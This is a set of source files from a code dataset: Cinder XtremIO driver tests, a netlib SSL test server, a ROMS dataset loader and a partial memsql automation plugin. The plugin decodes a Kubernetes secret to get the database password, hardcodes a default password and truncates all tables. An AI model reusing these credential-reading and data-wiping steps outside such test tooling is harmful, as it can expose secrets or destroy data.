snapshot_obj.consistencygroup_id = d.group['id'] get_all_for_cgsnapshot.return_value = [snapshot_obj] self.driver.create_consistencygroup(d.context, d.group) self.driver.update_consistencygroup(d.context, d.group, add_volumes=[d.test_volume, d.test_volume2]) self.assertEqual(2, len(xms_data['consistency-group-volumes'])) self.driver.update_consistencygroup(d.context, d.group, remove_volumes=[d.test_volume2]) self.assertEqual(1, len(xms_data['consistency-group-volumes'])) @mock.patch('cinder.objects.snapshot.SnapshotList.get_all_for_cgsnapshot') def test_create_cg(self, get_all_for_cgsnapshot, req): req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] get_all_for_cgsnapshot.return_value = [snapshot_obj] self.driver.create_consistencygroup(d.context, d.group) self.driver.update_consistencygroup(d.context, d.group, add_volumes=[d.test_volume, d.test_volume2]) self.driver.db = mock.Mock() (self.driver.db. volume_get_all_by_group.return_value) = [mock.MagicMock()] res = self.driver.create_cgsnapshot(d.context, d.cgsnapshot, [snapshot_obj]) self.assertEqual((None, None), res) @mock.patch('cinder.objects.snapshot.SnapshotList.get_all_for_cgsnapshot') def test_cg_delete(self, get_all_for_cgsnapshot, req): req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] get_all_for_cgsnapshot.return_value = [snapshot_obj] self.driver.create_consistencygroup(d.context, d.group) self.driver.update_consistencygroup(d.context, d.group, add_volumes=[d.test_volume, d.test_volume2]) self.driver.db = mock.Mock() self.driver.create_cgsnapshot(d.context, d.cgsnapshot, [snapshot_obj]) self.driver.delete_consistencygroup(d.context, d.group, []) def test_cg_delete_with_volume(self, req): req.side_effect = xms_request d = self.data self.driver.create_consistencygroup(d.context, d.group) self.driver.create_volume(d.test_volume) self.driver.update_consistencygroup(d.context, d.group, add_volumes=[d.test_volume]) self.driver.db = mock.Mock() results, volumes = \ self.driver.delete_consistencygroup(d.context, d.group, [d.test_volume]) self.assertTrue(all(volume['status'] == 'deleted' for volume in volumes)) @mock.patch('cinder.objects.snapshot.SnapshotList.get_all_for_cgsnapshot') def test_cg_snapshot(self, get_all_for_cgsnapshot, req): req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] get_all_for_cgsnapshot.return_value = [snapshot_obj] self.driver.create_consistencygroup(d.context, d.group) self.driver.update_consistencygroup(d.context, d.group, add_volumes=[d.test_volume, d.test_volume2]) snapset_name = self.driver._get_cgsnap_name(d.cgsnapshot) self.assertEqual(snapset_name, '192eb39b6c2f420cbae33cfd117f0345192eb39b6c2f420cbae' '33cfd117f9876') snapset1 = {'ancestor-vol-id': ['', d.test_volume['id'], 2], 'consistencygroup_id': d.group['id'], 'name': snapset_name, 'index': 1} xms_data['snapshot-sets'] = {snapset_name: snapset1, 1: snapset1} res = self.driver.delete_cgsnapshot(d.context, d.cgsnapshot, [snapshot_obj]) self.assertEqual((None, None), res) def test_delete_cgsnapshot(self, req): d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] self.driver.delete_cgsnapshot(d.context, d.cgsnapshot, [snapshot_obj]) req.assert_called_once_with('snapshot-sets', 'DELETE', None, '192eb39b6c2f420cbae33cfd117f0345192eb39' 'b6c2f420cbae33cfd117f9876', None, 'v2') @mock.patch('cinder.objects.snapshot.SnapshotList.get_all_for_cgsnapshot') def test_cg_from_src_snapshot(self, get_all_for_cgsnapshot, req): req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] snapshot_obj.volume_id = d.test_volume['id'] get_all_for_cgsnapshot.return_value = [snapshot_obj] self.driver.create_consistencygroup(d.context, d.group) self.driver.create_volume(d.test_volume) self.driver.create_cgsnapshot(d.context, d.cgsnapshot, []) xms_data['volumes'][2]['ancestor-vol-id'] = (xms_data['volumes'][1] ['vol-id']) snapset_name = self.driver._get_cgsnap_name(d.cgsnapshot) snapset1 = {'vol-list': [xms_data['volumes'][2]['vol-id']], 'name': snapset_name, 'index': 1} xms_data['snapshot-sets'] = {snapset_name: snapset1, 1: snapset1} cg_obj = fake_cg.fake_consistencyobject_obj(d.context) new_vol1 = fake_volume_obj(d.context) snapshot1 = (fake_snapshot .fake_snapshot_obj (d.context, volume_id=d.test_volume['id'])) res = self.driver.create_consistencygroup_from_src(d.context, cg_obj, [new_vol1], d.cgsnapshot, [snapshot1]) self.assertEqual((None, None), res) @mock.patch('cinder.objects.snapshot.SnapshotList.get_all_for_cgsnapshot') def test_cg_from_src_cg(self, get_all_for_cgsnapshot, req): req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] snapshot_obj.volume_id = d.test_volume['id'] get_all_for_cgsnapshot.return_value = [snapshot_obj] self.driver.create_consistencygroup(d.context, d.group) self.driver.create_volume(d.test_volume) self.driver.create_cgsnapshot(d.context, d.cgsnapshot, []) xms_data['volumes'][2]['ancestor-vol-id'] = (xms_data['volumes'][1] ['vol-id']) snapset_name = self.driver._get_cgsnap_name(d.cgsnapshot) snapset1 = {'vol-list': [xms_data['volumes'][2]['vol-id']], 'name': snapset_name, 'index': 1} xms_data['snapshot-sets'] = {snapset_name: snapset1, 1: snapset1} cg_obj = fake_cg.fake_consistencyobject_obj(d.context) new_vol1 = fake_volume_obj(d.context) new_cg_obj = fake_cg.fake_consistencyobject_obj( d.context, id=fake.CONSISTENCY_GROUP2_ID) snapset2_name = new_cg_obj.id new_vol1.id = '192eb39b-6c2f-420c-bae3-3cfd117f0001' new_vol2 = fake_volume_obj(d.context) snapset2 = {'vol-list': [xms_data['volumes'][2]['vol-id']], 'name': snapset2_name, 'index': 1} xms_data['snapshot-sets'].update({5: snapset2, snapset2_name: snapset2}) self.driver.create_consistencygroup_from_src(d.context, new_cg_obj, [new_vol2], None, None, cg_obj, [new_vol1]) @mock.patch('cinder.objects.snapshot.SnapshotList.get_all_for_cgsnapshot') def test_invalid_cg_from_src_input(self, get_all_for_cgsnapshot, req): req.side_effect = xms_request d = self.data self.assertRaises(exception.InvalidInput, self.driver.create_consistencygroup_from_src, d.context, d.group, [], None, None, None, None) # #### Groups #### def test_group_create(self, req): """Test group create.""" req.side_effect = xms_request d = self.data self.driver.create_group(d.context, d.group) self.assertEqual(1, len(xms_data['consistency-groups'])) def test_group_update(self, req): """Test group update.""" req.side_effect = xms_request d = self.data self.driver.create_consistencygroup(d.context, d.group) self.driver.update_consistencygroup(d.context, d.group, add_volumes=[d.test_volume, d.test_volume2]) self.assertEqual(2, len(xms_data['consistency-group-volumes'])) self.driver.update_group(d.context, d.group, remove_volumes=[d.test_volume2]) self.assertEqual(1, len(xms_data['consistency-group-volumes'])) def test_create_group_snapshot(self, req): """Test create group snapshot.""" req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] self.driver.create_group(d.context, d.group) self.driver.update_group(d.context, d.group, add_volumes=[d.test_volume, d.test_volume2]) res = self.driver.create_group_snapshot(d.context, d.cgsnapshot, [snapshot_obj]) self.assertEqual((None, None), res) def test_group_delete(self, req): """"Test delete group.""" req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] self.driver.create_group(d.context, d.group) self.driver.update_group(d.context, d.group, add_volumes=[d.test_volume, d.test_volume2]) self.driver.db = mock.Mock() (self.driver.db. volume_get_all_by_group.return_value) = [mock.MagicMock()] self.driver.create_group_snapshot(d.context, d.cgsnapshot, [snapshot_obj]) self.driver.delete_group(d.context, d.group, []) def test_group_delete_with_volume(self, req): req.side_effect = xms_request d = self.data self.driver.create_consistencygroup(d.context, d.group) self.driver.create_volume(d.test_volume) self.driver.update_consistencygroup(d.context, d.group, add_volumes=[d.test_volume]) self.driver.db = mock.Mock() results, volumes = \ self.driver.delete_group(d.context, d.group, [d.test_volume]) self.assertTrue(all(volume['status'] == 'deleted' for volume in volumes)) def test_group_snapshot(self, req): """test group snapshot.""" req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] self.driver.create_group(d.context, d.group) self.driver.update_group(d.context, d.group, add_volumes=[d.test_volume, d.test_volume2]) snapset_name = self.driver._get_cgsnap_name(d.cgsnapshot) self.assertEqual(snapset_name, '192eb39b6c2f420cbae33cfd117f0345192eb39b6c2f420cbae' '33cfd117f9876') snapset1 = {'ancestor-vol-id': ['', d.test_volume['id'], 2], 'consistencygroup_id': d.group['id'], 'name': snapset_name, 'index': 1} xms_data['snapshot-sets'] = {snapset_name: snapset1, 1: snapset1} res = self.driver.delete_group_snapshot(d.context, d.cgsnapshot, [snapshot_obj]) self.assertEqual((None, None), res) def test_group_snapshot_with_generic_group(self, req): """test group snapshot shot with generic group .""" req.side_effect = xms_request d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] self.driver.create_group(d.context, d.group) self.driver.update_group(d.context, d.group, add_volumes=[d.test_volume, d.test_volume2]) snapset_name = self.driver._get_cgsnap_name(d.cgsnapshot_as_group_id) self.assertEqual(snapset_name, '192eb39b6c2f420cbae33cfd117f0345192eb39b6c2f420cbae' '33cfd117f9876') snapset1 = {'ancestor-vol-id': ['', d.test_volume['id'], 2], 'consistencygroup_id': d.group['id'], 'name': snapset_name, 'index': 1} xms_data['snapshot-sets'] = {snapset_name: snapset1, 1: snapset1} res = self.driver.delete_group_snapshot(d.context, d.cgsnapshot, [snapshot_obj]) self.assertEqual((None, None), res) def test_delete_group_snapshot(self, req): """test delete group snapshot.""" d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] self.driver.delete_group_snapshot(d.context, d.cgsnapshot, [snapshot_obj]) req.assert_called_once_with('snapshot-sets', 'DELETE', None, '192eb39b6c2f420cbae33cfd117f0345192eb39' 'b6c2f420cbae33cfd117f9876', None, 'v2') def test_delete_group_snapshot_with_generic_group(self, req): """test delete group snapshot.""" d = self.data snapshot_obj = fake_snapshot.fake_snapshot_obj(d.context) snapshot_obj.consistencygroup_id = d.group['id'] self.driver.delete_group_snapshot(d.context, d.cgsnapshot_as_group_id, [snapshot_obj]) req.assert_called_once_with('snapshot-sets', 'DELETE', None, '192eb39b6c2f420cbae33cfd117f0345192eb39' 'b6c2f420cbae33cfd117f9876', None, 'v2') def test_group_from_src_snapshot(self, req): """test group from source snapshot.""" req.side_effect = xms_request d = self.data self.driver.create_group(d.context, d.group) self.driver.create_volume(d.test_volume) self.driver.create_group_snapshot(d.context, d.cgsnapshot, []) xms_data['volumes'][2]['ancestor-vol-id'] = (xms_data['volumes'][1] ['vol-id']) snapset_name = self.driver._get_cgsnap_name(d.cgsnapshot) snapset1 = {'vol-list': [xms_data['volumes'][2]['vol-id']], 'name': snapset_name, 'index': 1} xms_data['snapshot-sets'] = {snapset_name: snapset1, 1: snapset1} cg_obj = fake_cg.fake_consistencyobject_obj(d.context) new_vol1 = fake_volume_obj(d.context) snapshot1 = (fake_snapshot .fake_snapshot_obj (d.context, volume_id=d.test_volume['id'])) res = self.driver.create_group_from_src(d.context, cg_obj, [new_vol1], d.cgsnapshot, [snapshot1]) self.assertEqual((None, None), res) def test_group_from_src_group(self, req): """test group from source group.""" req.side_effect = xms_request d = self.data self.driver.create_group(d.context, d.group) self.driver.create_volume(d.test_volume) self.driver.create_group_snapshot(d.context, d.cgsnapshot, []) xms_data['volumes'][2]['ancestor-vol-id'] = (xms_data['volumes'][1] ['vol-id']) snapset_name = self.driver._get_cgsnap_name(d.cgsnapshot) snapset1 = {'vol-list': [xms_data['volumes'][2]['vol-id']], 'name': snapset_name, 'index': 1} xms_data['snapshot-sets'] = {snapset_name: snapset1, 1: snapset1} cg_obj = fake_cg.fake_consistencyobject_obj(d.context) new_vol1 = fake_volume_obj(d.context) new_cg_obj = fake_cg.fake_consistencyobject_obj( d.context, id=fake.CONSISTENCY_GROUP2_ID) snapset2_name = new_cg_obj.id new_vol1.id = '192eb39b-6c2f-420c-bae3-3cfd117f0001' new_vol2 = fake_volume_obj(d.context) snapset2 = {'vol-list': [xms_data['volumes'][2]['vol-id']], 'name': snapset2_name, 'index': 1} xms_data['snapshot-sets'].update({5: snapset2, snapset2_name: snapset2}) self.driver.create_group_from_src(d.context, new_cg_obj, [new_vol2], None, None, cg_obj, [new_vol1]) def test_invalid_group_from_src_input(self, req): """test invalid group from source.""" req.side_effect = xms_request d = self.data self.assertRaises(exception.InvalidInput, self.driver.create_group_from_src, d.context, d.group, [], None, None, None, None) def test_get_password(self, _req): p = self.driver._get_password() self.assertEqual(len(p), 12) self.assertIsNotNone(re.match(r'[A-Z0-9]{12}', p), p) @mock.patch('requests.request') class XtremIODriverTestCase(BaseXtremIODriverTestCase): # ##### XMS Client ##### @mock.patch.object(time, 'sleep', mock.Mock(return_value=0)) def test_retry_request(self, req): busy_response = mock.MagicMock() busy_response.status_code = 400 busy_response.json.return_value = { "message": "system_is_busy", "error_code": 400 } good_response = mock.MagicMock() good_response.status_code = 200 XtremIODriverTestCase.req_count = 0 def busy_request(*args, **kwargs): if XtremIODriverTestCase.req_count < 1: XtremIODriverTestCase.req_count += 1 return busy_response return good_response req.side_effect = busy_request self.driver.create_volume(self.data.test_volume) def test_verify_cert(self, req): good_response = mock.MagicMock() good_response.status_code = 200 def request_verify_cert(*args, **kwargs): self.assertEqual(kwargs['verify'], '/test/path/root_ca.crt') return good_response req.side_effect = request_verify_cert self.driver.client.req('volumes') @mock.patch('cinder.volume.drivers.dell_emc.xtremio.XtremIOClient.req') class XtremIODriverFCTestCase(BaseXtremIODriverTestCase): def setUp(self): super(XtremIODriverFCTestCase, self).setUp() self.driver = xtremio.XtremIOFCDriver( configuration=self.config) # ##### Connection FC##### def test_initialize_connection(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) map_data = self.driver.initialize_connection(self.data.test_volume, self.data.connector) self.assertEqual(1, map_data['data']['target_lun']) def test_terminate_connection(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.initialize_connection(self.data.test_volume, self.data.connector) for i1 in xms_data['initiators'].values(): i1['ig-id'] = ['', i1['ig-id'], 1] self.driver.terminate_connection(self.data.test_volume, self.data.connector) def test_force_terminate_connection(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) self.driver.initialize_connection(self.data.test_volume, self.data.connector) vol1 = xms_data['volumes'][1] # lun mapping list is a list of triplets (IG OID, TG OID, lun number) vol1['lun-mapping-list'] = [[['a91e8c81c2d14ae4865187ce4f866f8a', 'iqn.1993-08.org.debian:01:222', 1], ['', 'Default', 1], 1]] self.driver.terminate_connection(self.data.test_volume, None) def test_initialize_existing_ig_connection(self, req): req.side_effect = xms_request self.driver.create_volume(self.data.test_volume) pre_existing = 'pre_existing_host' self.driver._create_ig(pre_existing) wwpns = self.driver._get_initiator_names(self.data.connector) for wwpn in wwpns: data = {'initiator-name': wwpn, 'ig-id': pre_existing, 'port-address': wwpn} self.driver.client.req('initiators', 'POST', data) def get_fake_initiator(wwpn): return {'port-address': wwpn, 'ig-id': ['', pre_existing, 1]} with mock.patch.object(self.driver.client, 'get_initiator', side_effect=get_fake_initiator): map_data = self.driver.initialize_connection(self.data.test_volume, self.data.connector) self.assertEqual(1, map_data['data']['target_lun']) self.assertEqual(1, len(xms_data['initiator-groups'])) def test_get_initiator_igs_ver4(self, req): req.side_effect = xms_request wwpn1 = '11:22:33:44:55:66:77:88' wwpn2 = '11:22:33:44:55:66:77:89' port_addresses = [wwpn1, wwpn2] ig_id = ['', 'my_ig', 1] self.driver.client = xtremio.XtremIOClient4(self.config, self.config .xtremio_cluster_name) def get_fake_initiator(wwpn): return {'port-address': wwpn, 'ig-id': ig_id} with mock.patch.object(self.driver.client, 'get_initiator', side_effect=get_fake_initiator): self.driver.client.get_initiators_igs(port_addresses) def test_get_free_lun(self, req): def lm_response(*args, **kwargs): return {'lun-maps': [{'lun': 1}]} req.side_effect = lm_response ig_names = ['test1', 'test2'] self.driver._get_free_lun(ig_names) def test_race_on_terminate_connection(self, req): """Test for race conditions on num_of_mapped_volumes. This test confirms that num_of_mapped_volumes won't break even if we receive a NotFound exception when retrieving info on a specific mapping, as that specific mapping could have been deleted between the request to get the list of exiting mappings and the request to get the info on one of them. """ req.side_effect = xms_request self.driver.client = xtremio.XtremIOClient3( self.config, self.config.xtremio_cluster_name) # We'll wrap num_of_mapped_volumes, we'll store here original method original_method = self.driver.client.num_of_mapped_volumes def fake_num_of_mapped_volumes(*args, **kwargs): # Add a nonexistent mapping mappings = [{'href': 'volumes/1'}, {'href': 'volumes/12'}] # Side effects will be: 1st call returns the list, then we return # data for existing mappings, and on the nonexistent one we added # we return NotFound side_effect = [{'lun-maps': mappings}, {'content': xms_data['lun-maps'][1]}, exception.NotFound] with mock.patch.object(self.driver.client, 'req', side_effect=side_effect): return original_method(*args, **kwargs) self.driver.create_volume(self.data.test_volume) map_data = self.driver.initialize_connection(self.data.test_volume, self.data.connector) self.assertEqual(1, map_data['data']['target_lun']) with mock.patch.object(self.driver.client, 'num_of_mapped_volumes', side_effect=fake_num_of_mapped_volumes): self.driver.terminate_connection(self.data.test_volume, self.data.connector) self.driver.delete_volume(self.data.test_volume)
44.560565
79
0.553846
acbc77e6837d56f25fafc6c43bdf000553710645
3,161
py
Python
test/tservers.py
codders/netlib
137ae524c958cea9c96990587dafdd05b8d9cca0
[ "MIT" ]
null
null
null
test/tservers.py
codders/netlib
137ae524c958cea9c96990587dafdd05b8d9cca0
[ "MIT" ]
null
null
null
test/tservers.py
codders/netlib
137ae524c958cea9c96990587dafdd05b8d9cca0
[ "MIT" ]
null
null
null
from __future__ import (absolute_import, print_function, division) import threading import queue import io import OpenSSL from netlib import tcp, certutils from . import tutils class ServerThread(threading.Thread): def __init__(self, server): self.server = server threading.Thread.__init__(self) def run(self): self.server.serve_forever() def shutdown(self): self.server.shutdown() class ServerTestBase(object): ssl = None handler = None port = None addr = ("localhost", 0) @classmethod def setup_class(cls): cls.q = queue.Queue() s = cls.makeserver() cls.port = s.address.port cls.server = ServerThread(s) cls.server.start() @classmethod def makeserver(cls): return TServer(cls.ssl, cls.q, cls.handler, cls.addr) @classmethod def teardown_class(cls): cls.server.shutdown() @property def last_handler(self): return self.server.server.last_handler class TServer(tcp.TCPServer): def __init__(self, ssl, q, handler_klass, addr): """ ssl: A dictionary of SSL parameters: cert, key, request_client_cert, cipher_list, dhparams, v3_only """ tcp.TCPServer.__init__(self, addr) if ssl is True: self.ssl = dict() elif isinstance(ssl, dict): self.ssl = ssl else: self.ssl = None self.q = q self.handler_klass = handler_klass self.last_handler = None def handle_client_connection(self, request, client_address): h = self.handler_klass(request, client_address, self) self.last_handler = h if self.ssl is not None: cert = self.ssl.get( "cert", tutils.test_data.path("data/server.crt")) raw_key = self.ssl.get( "key", tutils.test_data.path("data/server.key")) key = OpenSSL.crypto.load_privatekey( OpenSSL.crypto.FILETYPE_PEM, open(raw_key, "rb").read()) if self.ssl.get("v3_only", False): method = OpenSSL.SSL.SSLv3_METHOD options = OpenSSL.SSL.OP_NO_SSLv2 | OpenSSL.SSL.OP_NO_TLSv1 else: method = OpenSSL.SSL.SSLv23_METHOD options = None h.convert_to_ssl( cert, key, method=method, options=options, handle_sni=getattr(h, "handle_sni", None), request_client_cert=self.ssl.get("request_client_cert", None), cipher_list=self.ssl.get("cipher_list", None), dhparams=self.ssl.get("dhparams", None), chain_file=self.ssl.get("chain_file", None), alpn_select=self.ssl.get("alpn_select", None) ) h.handle() h.finish() def handle_error(self, connection, client_address, fp=None): s = io.StringIO() tcp.TCPServer.handle_error(self, connection, client_address, s) self.q.put(s.getvalue())
29.268519
78
0.574818
719cc805ad781c57f52921d4eaf72b451f8fabf6
6,844
py
Python
scripts/dataset.py
max-simon/master-thesis
b0db01008d52317bc036f8a0f20671ce49108a12
[ "CC-BY-4.0" ]
4
2021-01-03T06:57:47.000Z
2022-02-05T15:31:44.000Z
scripts/dataset.py
max-simon/master-thesis
b0db01008d52317bc036f8a0f20671ce49108a12
[ "CC-BY-4.0" ]
null
null
null
scripts/dataset.py
max-simon/master-thesis
b0db01008d52317bc036f8a0f20671ce49108a12
[ "CC-BY-4.0" ]
2
2021-03-20T18:39:39.000Z
2022-01-17T12:55:28.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Author: Max Simon # Year: 2020 import sys sys.path.append('/nfs/kryo/work/maxsimon/master-thesis/scripts') import xarray as xr import numpy as np from datetime import timedelta as tdelta from datetime import datetime import argparse from romstools.utils import parse_slice from romstools.slice import slice_on_rho_grid xr.set_options(keep_attrs=True) # this is required to keep the attributes when modifying time! def get_drop_except_fn(*keep_vars): """ Drop all but some variables in a netCDF file """ def drop_except(ds): # do nothing when nothing to drop and avoid dropping time if len(keep_vars) == 0 or (len(keep_vars) == 1 and keep_vars[0] == 'time'): return ds # xarray only allows to specify what to drop, but not which to keep. So we need # to invert this set drop_vars = [] for v in ds.variables: if v not in keep_vars: drop_vars.append(v) return ds.drop_vars(drop_vars) return drop_except def open_glob_dataset(data_files, keep_vars=[], time_slice=None): """ Open a Multifile Dataset with xarray using a glob expression. """ sm_ds = None # if a list of files or a star in name, use xarray.mfdataset if type(data_files) == list or '*' in data_files: sm_ds = xr.open_mfdataset( data_files, decode_times=False, combine="nested", parallel=True, concat_dim='time', # concatenate on time preprocess=get_drop_except_fn(*keep_vars) # drop all values except keep_vars ) # slice time if time_slice is not None: sm_ds = sm_ds.isel(time=time_slice) # just open. else: drop_fn = get_drop_except_fn(*keep_vars) sm_ds = xr.open_dataset(data_files, decode_times=False) # slice time if time_slice is not None: sm_ds = sm_ds.isel(time=time_slice) # drop all values except keep_vars sm_ds = drop_fn(sm_ds) return sm_ds def set_time(ds, dt=tdelta(seconds=0)): """ Fix time loading errors of xarray, i.e. it keeps the time attributes. Also allows for specifying an offset. """ # get calendar and units attribute calendar = ds.time.attrs['calendar'] units = ds.time.attrs['units'] # decode times TimeCoder = xr.coding.times.CFDatetimeCoder() ds['time'] = ds.time.fillna(0) + dt.total_seconds() ds['time'] = xr.DataArray(TimeCoder.decode(ds.variables['time'], 'time')) ds = ds.set_coords(['time']) # restore attributes ds.time.attrs['calendar'] = calendar ds.time.attrs['units'] = units return ds def open_dataset(input, variables=[], time_calendar=None, time_raw=None, time_units=None, time_offset=0, time_from=None, eta_rho_slice=None, xi_rho_slice=None, s_rho_slice=None): """ Load dataset and grid file, overwrite calendar and units. """ # open data dataset = open_glob_dataset(input, keep_vars=variables+['time'], time_slice=None) # slice data if eta_rho_slice is not None or xi_rho_slice is not None or s_rho_slice is not None: dataset = slice_on_rho_grid(dataset, eta_rho_slice=eta_rho_slice, xi_rho_slice=xi_rho_slice, s_rho_slice=s_rho_slice) # open another dataset to copy its time array to the opened dataset if time_from is not None: aux_ds = open_glob_dataset(time_from, keep_vars=['time'], time_slice=None) attrs = aux_ds.time.attrs dataset['time'] = xr.DataArray(aux_ds['time'].values, dims=('time',)) dataset['time'].attrs = attrs aux_ds.close() # if no time to process, skip if 'time' not in dataset: return dataset # reset calendar and units if time_raw is not None: dataset['time'] = xr.DataArray(time_raw, dims=('time',)) if time_calendar is not None: dataset.time.attrs['calendar'] = time_calendar if time_units is not None: dataset.time.attrs['units'] = time_units # initialize time dataset = set_time(dataset, dt=tdelta(seconds=time_offset)) # calculate day of year time_attrs = {**dataset.time.attrs} doy = np.array([a.dayofyr for a in dataset.time.values]) - 1 # create doy variable on data dataset['doy'] = xr.DataArray(doy, dims=('time',)) dataset.time.attrs = time_attrs return dataset def dataset_from_args(parser): """ Add a group to input arguments for opening a dataset """ # create a parsing group group = parser.add_argument_group("dataset") # add items to group group.add_argument("-i", "--input", type=str, nargs='+', help="Input path, glob is supported", required=True) # spatial slicing group.add_argument("--eta-rho", type=parse_slice, help="Slice input data at eta coordinates") group.add_argument("--xi-rho", type=parse_slice, help="Slice input data at xi coordinates") group.add_argument("--s-rho", type=parse_slice, help="Slice input data at s_rho coordinates (or depth if present)") ## Removed to reduce verbosity on --help. Add them to open_dataset when needed # group.add_argument("--time-units", type=str, help="Overwrite time units attribute") # group.add_argument("--time-calendar", type=str, help="Overwrite time calendar attribute") # group.add_argument("--time-from", type=str, help="Overwrite time data") group.add_argument("-v", "--variables", type=str, nargs="+", help="Choose variables to load", default=[]) # create a loading function def load(args, variables=None, s_rho_slice=None): # variables and s_rho_slice can be overwritten vars_to_load = args.variables if variables is None else variables s_rho_to_use = args.s_rho if s_rho_slice is None else s_rho_slice input_to_use = args.input[0] if len(args.input) == 1 else args.input ds = open_dataset(input_to_use, variables=vars_to_load, eta_rho_slice=args.eta_rho, xi_rho_slice=args.xi_rho, s_rho_slice=s_rho_to_use) return ds return load
41.478788
178
0.598919
499142ce26609c0925531d306fde6effe88c8cb3
7,564
py
Python
automation/devops_automation_infra/plugins/memsql.py
AnyVisionltd/devops-automation-infra
7d6e75dc96ffa53d07e1dbd2c4ddb0fcdcf92cd1
[ "MIT" ]
2
2021-03-10T14:52:24.000Z
2021-03-10T18:50:20.000Z
automation/devops_automation_infra/plugins/memsql.py
solganik/devops-automation-infra
2ef2ac80a52d2f2abd037ad24cbf7f98b0c50bc6
[ "MIT" ]
4
2021-03-14T11:30:11.000Z
2022-01-30T16:01:41.000Z
automation/devops_automation_infra/plugins/memsql.py
solganik/devops-automation-infra
2ef2ac80a52d2f2abd037ad24cbf7f98b0c50bc6
[ "MIT" ]
5
2021-03-10T14:52:14.000Z
2021-11-17T16:00:18.000Z
import logging from contextlib import closing import pymysql from infra.model import plugins from pytest_automation_infra import helpers from pymysql.constants import CLIENT import copy from automation_infra.utils import waiter import json class Connection(object): def __init__(self, memsql_connection): self.connection = memsql_connection def upsert(self, query): with closing(self.connection.cursor()) as cursor: res = cursor.execute(query) self.connection.commit() return res def fetchall(self, query): with closing(self.connection.cursor()) as c: c.execute(query) return c.fetchall() def fetch_one(self, query): with closing(self.connection.cursor()) as cursor: cursor.execute(query) res = cursor.fetchone() return res def fetch_count(self, query): with closing(self.connection.cursor()) as cursor: cursor.execute(query) return cursor.rowcount def execute(self, query): with closing(self.connection.cursor()) as c: c.execute(query) self.connection.commit() def truncate_all(self): logging.debug('Truncating all memsql dbs') truncate_commands = self.fetchall( f"""select concat('truncate table ', TABLE_SCHEMA, '.', TABLE_NAME) as truncate_command from information_schema.tables t where TABLE_SCHEMA not in ('information_schema', 'memsql') and TABLE_NAME not in ('DATABASECHANGELOG', 'DATABASECHANGELOGLOCK'); """) commands = ''.join([f"{command['truncate_command']};" for command in truncate_commands]) self.execute(commands) logging.debug('Done Truncating all memsql dbs') @staticmethod def _reset_pipeline_cmd(pipline): return f"alter pipeline {pipline} set offsets earliest;" @staticmethod def _stop_pipeline_cmd(pipline): return f"stop pipeline {pipline};" @staticmethod def _start_pipeline_cmd(pipline): return f"start pipeline {pipline};" @staticmethod def _drop_pipeline_cmd(pipline): return f"drop pipeline {pipline};" @staticmethod def _get_pipeline_partitions_cmd(pipeline): return f"select SOURCE_PARTITION_ID from information_schema.pipelines_cursors WHERE PIPELINE_NAME=\"{pipeline}\""; def get_pipeline_partitions(self, pipeline): query = Connection._get_pipeline_partitions_cmd(pipeline) result = self.fetchall(query) return [partition['SOURCE_PARTITION_ID'] for partition in result] def delete_pipeline_partitions(self, pipeline, *partitions): partitions = partitions or self.get_pipeline_partitions(pipeline) if not partitions: return queries = [f"ALTER PIPELINE {pipeline} DROP PARTITION '{partition}'" for partition in partitions] joined = ";".join(queries) self.execute(joined) def reset_pipeline(self, pipeline_name): logging.debug(f'Reset pipeline {pipeline_name}') try: self.execute(Connection._stop_pipeline_cmd(pipeline_name)) except pymysql.err.InternalError as e: logging.debug('pipeline might be stopped in this case just continue') err_code = e.args[0] PIPELINE_ALREADY_STOPPED = 1939 if err_code != PIPELINE_ALREADY_STOPPED: raise self.execute(Connection._reset_pipeline_cmd(pipeline_name)) self.delete_pipeline_partitions(pipeline_name) self.execute(Connection._start_pipeline_cmd(pipeline_name)) def close(self): self.connection.close() class Memsql(object): def __init__(self, host): self._host = host self.DNS_NAME = 'memsql.tls.ai' if not helpers.is_k8s(self._host.SshDirect) else 'memsql.default.svc.cluster.local' self.PORT = 3306 self._connection = None @property def connection(self): host, port = self.tunnel.host_port return self._create_connection(host=host, port=port, cursorclass=pymysql.cursors.DictCursor, client_flag=CLIENT.MULTI_STATEMENTS) def tunneled_connection(self, database=None): host, port = self.tunnel.host_port return self._create_connection(host=host, port=port, database=database) def direct_connection(self, ip = None, port=3306, password=None, database=None): if ip is None: ip = self._host.ip if password is None: password = self.password return self._create_connection(host=ip, port=port, password = password, cursorclass=pymysql.cursors.DictCursor, client_flag=CLIENT.MULTI_STATEMENTS, database=database) @property def password(self): if not helpers.is_k8s(self._host.SshDirect): return 'password' return self._host.SshDirect.execute("kubectl get secret --namespace default memsql-secret -o jsonpath='{.data.password}' | base64 --decode") def _create_connection(self, **kwargs): password = "password" if not helpers.is_k8s(self._host.SshDirect) else self._host.SshDirect.execute("kubectl get secret --namespace default memsql-secret -o jsonpath='{.data.password}' | base64 --decode") memsql_kwargs = copy.copy(kwargs) if memsql_kwargs.get('password', None) is None: memsql_kwargs['password'] = self.password memsql_kwargs.setdefault('password', password) memsql_kwargs.setdefault('user', 'root') 